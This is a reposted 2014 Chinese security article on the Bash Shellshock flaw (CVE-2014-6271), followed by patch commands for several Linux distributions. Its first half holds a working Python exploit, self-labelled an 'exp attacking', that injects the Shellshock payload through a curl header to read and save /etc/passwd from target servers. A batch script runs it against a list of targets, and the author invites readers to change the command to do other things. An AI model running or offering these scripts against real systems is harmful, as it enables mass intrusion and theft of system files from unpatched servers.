专栏首页FreeBufBash漏洞批量检测工具与修复方案

Bash漏洞批量检测工具与修复方案

Linux官方内置Bash中新发现一个非常严重安全漏洞,黑客可以利用该Bash漏洞完全控制目标系统并发起攻击。

Bash远程命令执行漏洞(CVE2014-6271)检测脚本

作者:ziwen(dn8.net团队)

运行环境:python 2.7

#!/usr/bin/env python
#coding:utf-8
import os
import sys
import re
print "f4ck ziwen cve 2014 6271 exp attacking!"
if sys.argv[1].startswith('-'):
    option = sys.argv[1][1:]
    if option == 'url':
        b=sys.argv[2]
        if not re.match("http",sys.argv[2]):
            print "URL格式错误 正确格式例如http://www.baidu.com/1.cgi"
        
        else:
            out=re.sub("\.|\/","",b)
            out=out[7:]
            print "shahdashhdd",out,b
            a="curl -H \'x: () { :;};a=`/bin/cat /etc/passwd`;echo \"a: $a\"' '"+b+"' -I -o "+out+"\"output\".txt"
            os.system(a)
            f = open(out+"output.txt", 'r')
            a=f.read()
            if re.search("root|bin\/bash",a):
                print "target possible have bug under is *nix passwd file"
                print a
            else:
                f.close()
                os.remove(out+"output.txt")
                print "possible dont have bug! or have a waf!"
    else:
        print "error! U can email to me U question (ziwen@21.wf)"
        print option

下载地址

http://pan.baidu.com/s/1i3oVFV3

脚本会将结果回显出来 如果存在漏洞的话还会把passwd文件保存在以目标域名+output命名的txt文档里,不成功不保存

执行方法

python c:\exp.py -url
 http://23.239.208.105/cgi-bin/poc.cgi

批量检测是否存在Bash远程命令执行漏洞

#!/usr/bin/env python
#coding:utf-8
import os
import sys
PATH=sys.path[0]+"/"
text=open(PATH+"target.txt",'r')
for line in text:
    print line
    os.system("python "+PATH+"exp.py -url "+line)

下载地址

http://pan.baidu.com/s/1sjBFWhn

该脚本调用了上面那个EXP 所以请运行该脚本时请将两个脚本放同一目录 并在该目录下新建target.txt文件将您的目标列表放进文件里 如: http://www.baidu.com http://23.239.208.105/cgi-bin/poc.cgi

然后运行该脚本即可 该脚本便会自动按顺序检测 会把结果回显出来 并会把成功的目标的passwd文件保存在 以目标域名+output命名的txt文档里,不成功不保存

请不要随意改变exp.py的文件名 如果改变了EXP.PY的文件名请将batch.py里面的exp.py改为您修改的文件名 否则batch.py会运行失败

其他

linux如果用不了上面那个版本请试下这个Linux专版 http://pan.baidu.com/s/1hq7oCYw windows用不了请试试下面这个windows专版 http://pan.baidu.com/s/1kTmjNKV

如果需要生成其他文件或者利用漏洞做其他事请自行修改脚本中的curl命令 个别报错报CURL命令错误的是CURL版本问题,不是我脚本问题,我这边多个基友都测试了无误

漏洞修复方案

请您根据Linux版本选择您需要修复的命令, 为了防止意外情况发生,建议您执行命令前先对Linux服务器系统盘打个快照,如果万一出现升级影响您服务器使用情况,可以通过回滚系统盘快照解决。 centos:(最终解决方案)

yum clean all 
yum makecache 
yum -y update bash

ubuntu:(最终解决方案)

apt-get update 
apt-get -y install --only-upgrade bash

debian:(最终解决方案)

7.5 64bit && 32bit

apt-get update 
apt-get -y install --only-upgrade bash

6.0.x 64bit

wget http://mirrors.aliyun.com/debian/pool/main/b/bash/bash_4.1-3+deb6u2_amd64.deb &&  dpkg -i bash_4.1-3+deb6u2_amd64.deb

6.0.x 32bit

wget http://mirrors.aliyun.com/debian/pool/main/b/bash/bash_4.1-3+deb6u2_i386.deb &&  dpkg -i bash_4.1-3+deb6u2_i386.deb

aliyun linux:(最终解决方案)

5.x 64bit

wget http://mirrors.aliyun.com/centos/5/updates/x86_64/RPMS/bash-3.2-33.el5_10.4.x86_64.rpm && rpm -Uvh bash-3.2-33.el5_10.4.x86_64.rpm

5.x 32bit

wget http://mirrors.aliyun.com/centos/5/updates/i386/RPMS/bash-3.2-33.el5_10.4.i386.rpm  && rpm -Uvh bash-3.2-33.el5_10.4.i386.rpm

opensuse:(最终解决方案)

zypper clean 
zypper refresh 
zypper update -y bash

[参考信息来源:http://bbs.aliyun.com/read/176977.html?spm=5176.7189909.3.15.sZTgst,转载请注明来自FreeBuf.COM]

本文分享自微信公众号 - FreeBuf(freebuf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2014-09-28

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 黑客利用SSH弱密码攻击控制Linux服务器,潜在目标约十万IP天

    本周腾讯安全服务中心接到客户求助,客户部署的腾讯御界高级威胁检测系统发现SSH服务失陷感知信息,该公司安全管理人员及时联络腾讯安全专家协助分析威胁来源。

    FB客服
  • 藏在短链接下的挖矿木马:NovelMiner

    使用短链接跳转到长网址是网友分享链接的常见方式,尤其是在有字数限制的情况下,冗长的网址不利于显示,短链生成无疑是最便捷的服务之一。然而,由于短链接隐藏了其指向的...

    FB客服
  • Struts2再曝S2-020补丁绕过漏洞 – 万恶的正则表达式

    4月24日,网络曝出文章“安全研究人员指出Apache Struts2在漏洞公告S2-020里,在处理修复CVE-2014-0094的漏洞修补方案存在漏洞,导致...

    FB客服
  • 爬虫入门到精通-爬虫之异步加载(实战花瓣网)

    本文章属于爬虫入门到精通系统教程第八讲 本次我们会讲解两个知识点 异步加载 headers中的Accept 本次我们要抓取的是花瓣网美女照片美女花瓣,陪你做生活...

    爬虫
  • 1-SDK开发初探-8266

    先分享一个比较感动的事情 ? ? ? ? ? ? ? 其实做实物是因为好多人看了我的文章之后还是会遇到各种各样的问题,然后呢真是让亲们搞的自己好累..........

    杨奉武
  • [node.js]开放平台接口调用测试

    遇到的问题:Node.js JSON parsing error,syntax error unexpect end of input 测试代码 //测试/st...

    财主刀刀
  • SpringBoot-01-之初体验

    张风捷特烈
  • 一行命令搭建简易静态文件http服务器 转

    简易服务器:在命令执行的所在路径启动一个http服务器,然后你可以通过浏览器访问该路径下的所有文件。

    晓歌
  • Go 标准库 http.FileServer 实现静态文件服务

    访问 http://127.0.0.1:8080,即可看到类似 Nginx 中 autoindex 目录浏览功能。

    李海彬
  • Python用10行代码爬取大批美女图片

    说到美女,第一个想到的就是美女云集的相亲网站了。所以今天也是选取某个相亲网站作为素材,爬取美女图片。

    ZackSock

扫码关注云+社区

领取腾讯云代金券